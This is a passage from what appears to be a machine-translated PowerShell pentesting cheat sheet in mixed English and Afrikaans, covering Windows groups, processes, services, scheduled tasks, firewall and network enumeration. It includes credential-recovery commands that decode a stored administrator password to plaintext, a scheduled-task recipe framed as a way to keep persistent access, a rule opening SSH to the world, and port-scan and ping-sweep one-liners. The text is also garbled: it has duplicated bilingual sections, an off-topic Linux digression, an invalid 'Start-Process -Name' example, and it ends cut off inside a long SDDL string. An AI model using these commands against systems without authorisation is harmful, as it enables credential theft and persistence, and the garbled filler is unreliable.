The Add-LocalGroupMember
command is used to add a user or group to a local group on a Windows system. You can specify the group name using the -Group
parameter and the user or group name using the -Member
parameter.
Add-LocalGroupMember -Group "Administrators" -Member "Domain\User"
Remove-LocalGroupMember
The Remove-LocalGroupMember
command is used to remove a user or group from a local group on a Windows system. You can specify the group name using the -Group
parameter and the user or group name using the -Member
parameter.
Remove-LocalGroupMember -Group "Administrators" -Member "Domain\User"
Set-LocalGroup
The Set-LocalGroup
command is used to modify the properties of a local group on a Windows system. You can specify the group name using the -Name
parameter and the properties you want to modify using the corresponding parameters.
Set-LocalGroup -Name "TestGroup" -Description "This is an updated description"
Summary
In this section, we have explored some basic PowerShell commands to work with groups in Windows. These commands can be used to retrieve information about groups, create new groups, add or remove members from groups, and modify group properties.
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Knipbord
The clipboard is a temporary storage area in the computer's memory where data can be stored and retrieved. It is commonly used to copy and paste text, images, and other types of data between different applications or within the same application.
Clipboard Formats
The clipboard supports various formats for storing data. Some common formats include:
- Text: Plain text that can be pasted into any text editor or word processor.
- Rich Text Format (RTF): Formatted text that can preserve font styles, colors, and other formatting.
- Bitmap: Images in bitmap format (BMP) that can be pasted into image editing software.
- Enhanced Metafile (EMF): Vector graphics that can be resized without losing quality.
- HTML: Hypertext Markup Language (HTML) code that can be pasted into web browsers or HTML editors.
Clipboard Security
The clipboard can be a potential security risk if sensitive information is copied and remains in the clipboard. This is because the clipboard can be accessed by other applications or even remote attackers.
To mitigate this risk, it is recommended to clear the clipboard after copying sensitive information. This can be done manually by copying something else or using a clipboard manager tool that automatically clears the clipboard after a certain period of time.
Clipboard Hijacking
Clipboard hijacking is a technique used by attackers to intercept and modify the data stored in the clipboard. This can be done by malware or malicious scripts running on the system.
To protect against clipboard hijacking, it is important to keep the system and applications up to date with the latest security patches. Additionally, it is advisable to use security software that can detect and block malicious activities.
Conclusion
The clipboard is a useful feature for copying and pasting data, but it can also pose a security risk if not used properly. By understanding the different clipboard formats and implementing security measures, users can protect their sensitive information from being compromised.
Get-Clipboard
Prosesse
In Windows, a process is an instance of a running program. It is responsible for executing the instructions of the program and managing its resources. Understanding how processes work is essential for a pentester, as it allows you to identify and manipulate running programs to achieve your objectives.
Listing Processes
To list all the running processes on a Windows system, you can use the Get-Process
cmdlet in PowerShell. This command will display information such as the process ID (PID), name, and CPU usage of each process.
Get-Process
Killing Processes
As a pentester, you may need to terminate specific processes to gain control over a system or to stop unwanted activities. To kill a process in PowerShell, you can use the Stop-Process
cmdlet followed by the process ID (PID) or the process name.
Stop-Process -ID <PID>
or
Stop-Process -Name <ProcessName>
Starting Processes
In some cases, you may want to start a new process during your pentesting activities. PowerShell provides the Start-Process
cmdlet for this purpose. You can specify the path to the executable file or the name of the program to start.
Start-Process -FilePath <PathToExecutable>
or
Start-Process -Name <ProgramName>
Monitoring Processes
To monitor the activity of a specific process, you can use the Get-WmiObject
cmdlet in PowerShell. This command allows you to retrieve information about a process, such as its CPU usage, memory consumption, and more.
Get-WmiObject -Class Win32_Process -Filter "Name='<ProcessName>'" | Select-Object *
Conclusion
Understanding how processes work in Windows and knowing how to manipulate them using PowerShell is crucial for a pentester. By listing, killing, starting, and monitoring processes, you can gain control over a system and achieve your objectives effectively.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Dienste
Introduction
Inleiding
In this section, you will find information about different services that can be found in a Windows environment. Understanding these services is crucial for a pentester, as they can be potential entry points for exploitation.
In hierdie gedeelte sal jy inligting vind oor verskillende dienste wat in 'n Windows-omgewing gevind kan word. Dit is van kritieke belang vir 'n pentester om hierdie dienste te verstaan, aangesien hulle potensiële toegangspunte vir uitbuiting kan wees.
Table of Contents
Inhoudsopgawe
- Active Directory
- Active Directory Certificate Services
- Active Directory Federation Services
- Active Directory Lightweight Directory Services
- Active Directory Rights Management Services
- Application Host Helper Service
- Application Information
- Application Layer Gateway Service
- Application Management
- ASP.NET State Service
- Background Intelligent Transfer Service
- Base Filtering Engine
- BitLocker Drive Encryption Service
- Block Level Backup Engine Service
- Bluetooth Support Service
- BranchCache
- Certificate Propagation
- CNG Key Isolation
- COM+ Event System
- COM+ System Application
- Computer Browser
- Credential Manager
- Cryptographic Services
- Data Sharing Service
- DCOM Server Process Launcher
- Desktop Window Manager Session Manager
- DHCP Client
- Diagnostic Policy Service
- Diagnostic Service Host
- Diagnostic System Host
- Distributed Link Tracking Client
- Distributed Transaction Coordinator
- DNS Client
- DNS Server
- Encrypting File System
- Event Log
- Extensible Authentication Protocol
- Fax
- File History Service
- Function Discovery Provider Host
- Function Discovery Resource Publication
- Group Policy Client
- Health Key and Certificate Management
- HomeGroup Listener
- HomeGroup Provider
- Human Interface Device Access
- IKE and AuthIP IPsec Keying Modules
- Interactive Services Detection
- Internet Connection Sharing (ICS)
- IP Helper
- IPsec Policy Agent
- KtmRm for Distributed Transaction Coordinator
- Link-Layer Topology Discovery Mapper
- Media Center Extender Service
- Microsoft iSCSI Initiator Service
- Microsoft Software Shadow Copy Provider
- Multimedia Class Scheduler
- Netlogon
- Network Access Protection Agent
- Network Connections
- Network Connectivity Assistant
- Network List Service
- Network Location Awareness
- Network Store Interface Service
- Offline Files
- Parental Controls
- Peer Name Resolution Protocol
- Peer Networking Grouping
- Peer Networking Identity Manager
- Performance Counter DLL Host
- Performance Logs & Alerts
- Plug and Play
- PNRP Machine Name Publication Service
- Portable Device Enumerator Service
- Power
- Print Spooler
- Problem Reports and Solutions Control Panel Support
- Program Compatibility Assistant Service
- Quality Windows Audio Video Experience
- Remote Access Auto Connection Manager
- Remote Access Connection Manager
- Remote Desktop Configuration
- Remote Desktop Services
- Remote Desktop Services UserMode Port Redirector
- Remote Procedure Call (RPC)
- Remote Procedure Call (RPC) Locator
- Remote Registry
- Routing and Remote Access
- Secondary Logon
- Secure Socket Tunneling Protocol Service
- Security Accounts Manager
- Security Center
- Server
- Shell Hardware Detection
- Simple TCP/IP Services
- Smart Card
- Smart Card Removal Policy
- SNMP Trap
- Software Protection
- SPP Notification Service
- SSDP Discovery
- Storage Service
- Superfetch
- System Event Notification Service
- Task Scheduler
- TCP/IP NetBIOS Helper
- Telephony
- Themes
- Thread Ordering Server
- TPM Base Services
- UPnP Device Host
- User Access Logging Service
- User Profile Service
- Virtual Disk
- Volume Shadow Copy
- WebClient
- Windows Audio
- Windows Audio Endpoint Builder
- Windows Backup
- Windows Biometric Service
- Windows CardSpace
- Windows Color System
- Windows Connect Now - Config Registrar
- Windows Defender Advanced Threat Protection
- Windows Defender Antivirus Network Inspection Service
- Windows Defender Antivirus Service
- Windows Defender Firewall
- Windows Defender Firewall Authorization Driver
- Windows Defender Firewall with Advanced Security
- Windows Deployment Services
- Windows Driver Foundation - User-mode Driver Framework
- Windows Error Reporting Service
- Windows Event Collector
- Windows Event Log
- Windows Firewall
- Windows Font Cache Service
- Windows Image Acquisition (WIA)
- Windows Installer
- Windows License Manager Service
- Windows Management Instrumentation
- Windows Media Player Network Sharing Service
- Windows Modules Installer
- Windows Presentation Foundation Font Cache
- Windows Push Notifications System Service
- Windows Remote Management (WS-Management)
- Windows Search
- Windows Store Service (WSService)
- Windows Time
- Windows Update
- WinHTTP Web Proxy Auto-Discovery Service
- Wired AutoConfig
- WLAN AutoConfig
- WMI Performance Adapter
- Workstation
- WWAN AutoConfig
Conclusion
Gevolgtrekking
Understanding the different services in a Windows environment is essential for a pentester. By familiarizing yourself with these services, you can identify potential vulnerabilities and exploit them effectively.
Die begrip van die verskillende dienste in 'n Windows-omgewing is noodsaaklik vir 'n pentester. Deur jouself vertroud te maak met hierdie dienste, kan jy potensiële kwesbaarhede identifiseer en effektief uitbuit.
Get-Service
Wagwoord vanaf veilige string
Om 'n wagwoord te kry vanaf 'n veilige string in PowerShell, kan die volgende stappe gevolg word:
-
Stoor die veilige string in 'n veranderlike:
$SecureString = ConvertTo-SecureString -String "VeiligeString" -AsPlainText -Force
-
Gebruik die
ConvertFrom-SecureString
cmdlet om die veilige string om te skakel na 'n versleutelde teksstring:$EncryptedString = ConvertFrom-SecureString -SecureString $SecureString
-
Stoor die versleutelde teksstring in 'n lêer:
$EncryptedString | Out-File -FilePath "C:\Pad\Na\Lêer.txt"
Om die wagwoord vanaf die versleutelde teksstring te herstel, kan die volgende stappe gevolg word:
-
Lees die versleutelde teksstring vanaf die lêer:
$EncryptedString = Get-Content -Path "C:\Pad\Na\Lêer.txt"
-
Gebruik die
ConvertTo-SecureString
cmdlet om die versleutelde teksstring terug te skakel na 'n veilige string:$SecureString = ConvertTo-SecureString -String $EncryptedString
-
Gebruik die veilige string om die wagwoord te ontsluit:
$Password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString))
Hierdie metode kan nuttig wees vir situasies waarin 'n wagwoord veilig gestoor moet word en later herstel moet word sonder om dit in 'n leesbare formaat te hê.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Beplande Take
Beplande take is 'n kragtige funksie in Windows wat toelaat dat programme en skripte op 'n bepaalde tyd of interval uitgevoer word. Dit kan 'n nuttige hulpmiddel wees vir pentesters om toegang te verkry tot 'n stelsel en volhoubare toegang te behou.
Lys Beplande Take
Om 'n lys van beplande take op 'n Windows-stelsel te sien, kan die volgende PowerShell-opdrag gebruik word:
Get-ScheduledTask
Hierdie opdrag sal 'n lys van alle beplande take op die stelsel vertoon, insluitend die naam, pad en status van elke taak.
Skep 'n Beplande Taak
Om 'n nuwe beplande taak te skep, kan die volgende PowerShell-opdrag gebruik word:
$Action = New-ScheduledTaskAction -Execute "C:\path\to\program.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Settings = New-ScheduledTaskSettingsSet
Register-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Settings -TaskName "MyScheduledTask" -Description "Beskrywing van die taak"
Hierdie opdrag sal 'n nuwe beplande taak skep wat uitgevoer word wanneer 'n gebruiker aanmeld. Die pad na die uitvoerbare lêer moet vervang word met die werklike pad na die program wat uitgevoer moet word. Die taaknaam en beskrywing kan ook aangepas word soos nodig.
Verwyder 'n Beplande Taak
Om 'n beplande taak te verwyder, kan die volgende PowerShell-opdrag gebruik word:
Unregister-ScheduledTask -TaskName "MyScheduledTask" -Confirm:$false
Hierdie opdrag sal die beplande taak met die opgegeven taaknaam verwyder. Wees versigtig om die regte taaknaam te gebruik, aangesien die taak permanent verwyder sal word.
Uitvoer 'n Beplande Taak
Om 'n beplande taak handmatig uit te voer, kan die volgende PowerShell-opdrag gebruik word:
Start-ScheduledTask -TaskName "MyScheduledTask"
Hierdie opdrag sal die beplande taak met die opgegeven taaknaam onmiddellik uitvoer.
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Netwerk
Poortskandering
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Koppelvlakke
In Windows PowerShell, 'interfaces' verwys na die metodes en eienskappe wat beskikbaar is vir 'n spesifieke tipe objek. Dit stel die gebruiker in staat om metodes en eienskappe van 'n objek te gebruik sonder om die volledige implementasie daarvan te ken. Dit bied 'n gestandaardiseerde manier om met objekte te kommunikeer en maak dit makliker om herbruikbare kode te skep.
Om die beskikbare koppelvlakke vir 'n spesifieke objek te sien, kan jy die Get-Member
cmdlet gebruik. Hierdie cmdlet toon 'n lys van die metodes en eienskappe wat beskikbaar is vir die objek. Jy kan dan die koppelvlakke gebruik om die objek te manipuleer en die gewenste funksionaliteit te bereik.
Byvoorbeeld, as jy 'n System.IO.FileInfo
objek het, kan jy die Get-Member
cmdlet gebruik om die beskikbare koppelvlakke te sien:
$FileInfo = Get-Item -Path C:\Path\To\File.txt
$FileInfo | Get-Member
Hierdie sal 'n lys van die metodes en eienskappe van die System.IO.FileInfo
objek toon. Jy kan dan die koppelvlakke gebruik om die lêerobjek te manipuleer, soos om die grootte te kry, die lêer te hernoem, of die lêer te verwyder.
Die gebruik van koppelvlakke in PowerShell is 'n kragtige tegniek wat jou in staat stel om doeltreffend met objekte te werk en die funksionaliteit daarvan te benut. Deur die beskikbare koppelvlakke te verstaan en te gebruik, kan jy jou PowerShell-skripsies en -hacks verbeter.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Vuurmuur
'n Vuurmuur is 'n belangrike komponent van die netwerkbeveiliging wat gebruik word om ongewenste toegang tot 'n stelsel of netwerk te voorkom. Dit funksioneer deur inkomende en uitgaande verkeer te monitor en te beheer volgens spesifieke reëls en beleide.
'n Vuurmuur kan op hardeware- of sagtewarevlak geïmplementeer word. Dit kan verskillende tipes verkeer blokkeer, soos TCP, UDP, ICMP en ander protokolle. Dit kan ook spesifieke IP-adresse, poorte en protokolle toelaat of blokkeer.
'n Effektiewe vuurmuurbeleid moet goed geïmplementeer en gemonitor word om die netwerk teen aanvalle te beskerm. Dit moet ook gereeld opgedateer word om by te bly met nuwe bedreigings en beveiligingslekke.
'n Vuurmuur is 'n noodsaaklike komponent van enige netwerkbeveiligingsstrategie en moet korrek gekonfigureer en onderhou word om die integriteit en vertroulikheid van die stelsel en netwerk te verseker.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Roete
route print
ARP
ARP (Address Resolution Protocol) is 'n protokol wat gebruik word om die IP-adres van 'n toestel in 'n netwerk te koppel aan die fisiese MAC-adres van die toestel. Dit is 'n belangrike protokol vir die korrekte werking van netwerkverbindings.
Wanneer 'n toestel in 'n netwerk 'n IP-adres wil kommunikeer, moet dit die fisiese MAC-adres van die bestemmings-toestel ken. Die ARP-protokol maak dit moontlik deur 'n ARP-aanvraag te stuur na die netwerk. Die aanvraag bevat die IP-adres van die bestemmings-toestel en die toestel se MAC-adres reageer met 'n ARP-antwoord. Hierdie antwoord bevat die fisiese MAC-adres van die bestemmings-toestel.
ARP kan egter ook misbruik word deur aanvallers om 'n man-in-die-middel-aanval uit te voer. Hierdie aanval behels die stuur van valse ARP-aanvrae om die IP-naar-MAC-koppelings in 'n netwerk te vervals. As 'n aanvaller byvoorbeeld 'n valse ARP-aanvraag stuur en beweer dat sy MAC-adres gekoppel is aan 'n spesifieke IP-adres, sal die netwerktoestelle hierdie vervalsing aanvaar en al die verkeer na daardie IP-adres na die aanvaller stuur.
Om hierdie tipe aanvalle te voorkom, kan netwerkadministrateurs sekuriteitsmaatreëls implementeer, soos die gebruik van ARP-inspeksie of ARP-spoofing-detectie. Hierdie maatreëls kan help om die integriteit van die ARP-tabel in 'n netwerk te handhaaf en die risiko van ARP-gebaseerde aanvalle te verminder.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Gasheer
Hierdie gids bevat 'n lys van die belangrikste lêers en instellings wat verband hou met die gasheer se hardeware en bedryfstelsel. Dit is belangrik om hierdie lêers en instellings te verstaan en te verhard om die veiligheid van die gasheer te verbeter.
Lêers
- /etc/hosts: Hierdie lêer bevat 'n lys van IP-adresse en bybehorende hostnames. Dit word gebruik om DNS-navrae te omseil en spesifieke IP-adresse aan te dui vir spesifieke hostnames. Dit kan gebruik word om die toegang tot sekere webwerwe te blokkeer deur die IP-adres van die webwerf na 'n ongeldige adres te stuur.
- C:\Windows\System32\drivers\etc\hosts: Hierdie lêer is die Windows-weergawe van die /etc/hosts-lêer in Linux. Dit het dieselfde funksie as die Linux-weergawe en kan gebruik word om DNS-navrae te omseil en IP-adresse aan te dui vir spesifieke hostnames.
Instellings
- DNS: Die Domain Name System (DNS) is 'n protokol wat gebruik word om IP-adresse aan hostnames te koppel. Dit is belangrik om die DNS-instellings van die gasheer te verstaan en te verhard om DNS-aanvalle te voorkom.
- Firewall: 'n Firewall is 'n sekuriteitsinstrument wat gebruik word om inkomende en uitgaande netwerkverkeer te beheer. Dit is belangrik om die firewall-instellings van die gasheer te verstaan en te verhard om ongewenste toegang tot die gasheer te voorkom.
- Antivirus: Antivirus sagteware is ontwerp om skadelike programme en bedreigings te identifiseer en te verwyder. Dit is belangrik om 'n betroubare antivirusprogram op die gasheer te installeer en te verhard om die gasheer teen skadelike programme te beskerm.
Dienste
Hierdie gids bevat 'n lys van die belangrikste dienste wat op die gasheer beskikbaar kan wees. Dit is belangrik om hierdie dienste te verstaan en te verhard om die veiligheid van die gasheer te verbeter.
Windows-dienste
- Remote Desktop Protocol (RDP): RDP is 'n protokol wat gebruik word om 'n gebruiker toe te laat om 'n rekenaar op afstand te beheer. Dit is belangrik om die RDP-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die gasheer te voorkom.
- Server Message Block (SMB): SMB is 'n protokol wat gebruik word vir die lêer- en drukdienste in 'n netwerk. Dit is belangrik om die SMB-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die lêers en drukkers op die gasheer te voorkom.
- Windows Management Instrumentation (WMI): WMI is 'n beheerinstrument wat gebruik word om die bedryfstelsel en hardeware van 'n Windows-rekenaar te bestuur. Dit is belangrik om die WMI-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die gasheer se bestuursfunksies te voorkom.
Linux-dienste
- Secure Shell (SSH): SSH is 'n protokol wat gebruik word om veilige toegang tot 'n Linux-rekenaar te verkry. Dit is belangrik om die SSH-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die gasheer te voorkom.
- Apache HTTP Server: Apache is 'n webbediener wat gebruik word om webwerwe te bedien. Dit is belangrik om die Apache-instellings van die gasheer te verstaan en te verhard om die veiligheid van die webwerwe op die gasheer te verbeter.
- MySQL: MySQL is 'n databasisbestuurstelsel wat gebruik word om databasisse op 'n Linux-rekenaar te bestuur. Dit is belangrik om die MySQL-instellings van die gasheer te verstaan en te verhard om die veiligheid van die databasisse op die gasheer te verbeter.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
Ping is 'n nuttige opdrag in PowerShell wat gebruik kan word om die beskikbaarheid van 'n netwerkverbinding te toets. Dit stuur 'n ICMP-sonde na 'n spesifieke IP-adres of DNS-naam en meet die tyd wat dit neem vir die sonde om terug te keer. Hier is die sintaks vir die ping-opdrag in PowerShell:
ping <IP-adres of DNS-naam>
Byvoorbeeld, as jy die beskikbaarheid van 'n IP-adres wil toets, kan jy die volgende opdrag gebruik:
ping 192.168.0.1
As jy die beskikbaarheid van 'n DNS-naam wil toets, kan jy die volgende opdrag gebruik:
ping www.example.com
Die ping-opdrag sal 'n reeks sonde stuur en die resultate vir elke sonde vertoon. Dit sal die tyd in millisekondes (ms) vertoon wat dit geneem het vir die sonde om terug te keer. As die sonde suksesvol is, sal dit 'Reply' aandui. As die sonde nie suksesvol is nie, sal dit 'Request Timed Out' aandui.
Ping kan nuttig wees vir netwerktoetsing en probleemoplossing, insluitend die bepaling van verbindingsprobleme, vertraging en pakketverlies.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
SNMP (Simple Network Management Protocol) is 'n protokol wat gebruik word om netwerktoestelle te bestuur en te moniteer. Dit maak gebruik van 'n agente-gebaseerde benadering, waar die toestelle wat gemoniteer moet word, SNMP-agente moet hê wat inligting verskaf aan 'n sentrale bestuursstelsel, bekend as 'n SNMP-bestuurder.
SNMP-agente verskaf inligting oor verskeie aspekte van 'n toestel, soos sy status, prestasie, konfigurasie en meer. Hierdie inligting word gestruktureer in 'n hiërargie van beheerde objekte, bekend as MIB (Management Information Base). Die MIB bevat 'n versameling van unieke identifiseerders, bekend as OIDs (Object Identifiers), wat gebruik word om spesifieke inligting te identifiseer en op te vra.
Pentesters kan SNMP gebruik om inligting oor 'n doelwitnetwerk te bekom, soos die lys van aktiewe toestelle, hul konfigurasie, dienste wat uitgevoer word, en selfs om sekuriteitslekke te identifiseer. Dit kan gedoen word deur die gebruik van verskillende SNMP-opdragte, soos SNMP-wandel, SNMP-vraag en SNMP-trap.
Dit is belangrik om te verstaan dat SNMP 'n kragtige hulpmiddel is, maar dit kan ook 'n potensiële sekuriteitsrisiko wees as dit nie behoorlik geïmplementeer en gehardloop word nie. Dit is dus noodsaaklik om die nodige veiligheidsmaatreëls te tref, soos die beperking van SNMP-toegang, die gebruik van sterk gemeenskapstrings en die monitering van SNMP-verkeer vir verdagte aktiwiteit.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Omskakeling van die SDDL-String na 'n leesbare formaat
Om die SDDL-string in 'n leesbare formaat te omskakel, kan jy die volgende stappe volg:
-
Gebruik die
ConvertFrom-SddlString
cmdlet in PowerShell om die SDDL-string na 'n objek te omskakel.$sddlString = "SDDL-string-hier" $sddlObject = ConvertFrom-SddlString -Sddl $sddlString
-
Gebruik die
Format-List
cmdlet om die objek se eienskappe in 'n leesbare formaat te vertoon.$sddlObject | Format-List
Hierdie stappe sal die SDDL-string omskakel na 'n objek en die eienskappe van die objek in 'n leesbare formaat vertoon.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-